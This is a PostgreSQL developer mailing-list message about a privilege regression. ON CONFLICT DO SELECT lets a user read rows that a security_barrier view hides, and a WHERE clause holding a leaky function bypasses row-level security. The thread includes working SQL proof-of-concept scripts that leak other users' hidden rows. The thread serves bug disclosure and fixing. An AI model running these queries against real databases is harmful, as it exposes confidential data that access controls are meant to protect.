| From: | Viktor Holmberg <v(at)viktorh(dot)net> |
|---|---|
| To: | shihao zhong <zhong950419(at)gmail(dot)com>, Kirill Reshke <reshkekirill(at)gmail(dot)com> |
| Cc: | pgsql-hackers <pgsql-hackers(at)lists(dot)postgresql(dot)org>, dean(dot)a(dot)rasheed(at)gmail(dot)com, andreas(at)proxel(dot)se, jian he <jian(dot)universality(at)gmail(dot)com> |
| Subject: | Re: ON CONFLICT DO SELECT returns rows hidden by a view |
| Date: | 2026-09-25 15:41:47 |
| Message-ID: | 14794b1e-fa38-4aaf-b9b4-22f9ef5e20d1@Spark |
| Views: | Whole Thread | Raw Message | Download mbox | Resend email |
| Thread: | |
| Lists: | pgsql-hackers |
On 25 Sep 2026 at 15:53 +0200, Viktor Holmberg <v(at)viktorh(dot)net>, wrote:
> On 25 Sep 2026 at 12:48 +0200, Kirill Reshke <reshkekirill(at)gmail(dot)com>, wrote:
> > On Fri, 25 Sept 2026 at 09:45, shihao zhong <zhong950419(at)gmail(dot)com> wrote:
> > >
> > > Hi hackers,
> > >
> > > In 19, a user with only INSERT and SELECT on a security_barrier view can
> > > read rows that the view hides, with ON CONFLICT DO SELECT. Before 19 that
> > > user had no way to reach a hidden row, because DO UPDATE needs UPDATE.
> > >
> > > create view my_log with (security_barrier) as
> > > select * from documents where owner = current_user;
> > > grant select, insert on my_log to alice;
> > >
> > > -- as alice, row 1 belongs to bob
> > > insert into my_log (id, title) values (1, '')
> > > on conflict (id) do select returning *;
> > > id | owner | title | body
> > > ----+-------+---------------+----------------------
> > > 1 | bob | salary review | bob 180k, alice 120k
> > >
> > > With generate_series as the source and a rollback at the end, this reads
> > > the whole table. WITH CHECK OPTION does not help, since nothing is
> > > written. RLS is not affected, ExecOnConflictSelect() checks the existing
> > > row against the SELECT policies.
> > >
> > > The docs have the pieces. insert.sgml says DO SELECT needs only SELECT,
> > > and create_view.sgml says it "may similarly affect an existing row not
> > > visible through the view". They do not say that the row is returned, and
> > > the security_barrier section in rules.sgml does not mention ON CONFLICT
> > > at all. The create_view.sgml sentence was added as a doc fix during
> > > review [1], and I could not find any discussion of the new exposure for
> > > users without UPDATE.
> > >
> > > I see two ways to go. Keep the behavior and say it plainly in the
> > > security_barrier docs. Or check the existing row against the
> > > view's quals in DO SELECT, the same way RLS does, and raise an error when
> > > the row is hidden. I have a draft patch for the second, for views with a
> > > check option.
> > >
> > > Which way do people prefer? If it is the second, should it be a 19 open
> > > item?
> > >
> > > [1] https://postgr.es/m/d631b406-13b7-433e-8c0b-c6040c4b4663@Spark
> > >
> > > Regards,
> > > Shihao Zhong
> >
> >
> > I think that retrieving rows that configured to be unretrievable (in
> > < v19) is a regression and this needs both fix and being listed as
> > Open Item
> >
> >
> >
> > --
> > Best regards,
> > Kirill Reshke
> Well spotted Shihao. I agree with Kirill that this has to be fixed before release, a doc fix is not enough.
> Please share your patch Shihao. I should be able to review within a week.
>
> /Viktor Holmberg
Looking a bit more into this. Although I’m not sure it’s the same root cause, using the WHERE clause of ON CONFLICT DO UPDATE (or SELECT) allows you to bypass RLS in version 18, and probably earlier versions as well:
----------------------------------
begin;
create role alice;
create table t (id int primary key, owner name, secret text);
insert into t values
(1, 'bob', 'bob is paid 180k'), -- alice must NOT be able to read these
(2, 'alice', 'alice owns this'),
(3, 'bob', 'bob bonus 40k');
alter table t enable row level security;
create policy self on t for all to alice
using (owner = current_user) with check (owner = current_user);
grant select, insert, update on t to alice;
create function peek(text) returns bool language plpgsql as
$$ begin raise notice 'LEAKED: %', $1; return true; end $$;
grant execute on function peek(text) to alice;
set role alice;
\echo '--- What RLS lets alice see (only her own row):'
select * from t;
\echo '--- The attack (alice has only INSERT + UPDATE, writes nothing):'
insert into t (id, owner)
select id, 'alice' from generate_series(1, 3) as id
on conflict (id) do update set secret = t.secret
where not peek(t.secret) -- peek() reads the hidden row; NOT skips the
returning id; -- update so the RLS check never aborts us
----------------------------------
But you could argue that the addition of DO SELECT makes this a bit worse, as now the “attack” can happen with just SELECT+INSERT privileges (as opposed to SELECT + INSERT + UPDATE in <19).
| From | Date | Subject | |
|---|---|---|---|
| Next Message | shihao zhong | 2026-09-25 15:54:42 | Re: amcheck: support for GiST |
| Previous Message | Sami Imseih | 2026-09-25 15:41:30 | parallel autovacuum: Propagate track_cost_delay_timing to parallel workers |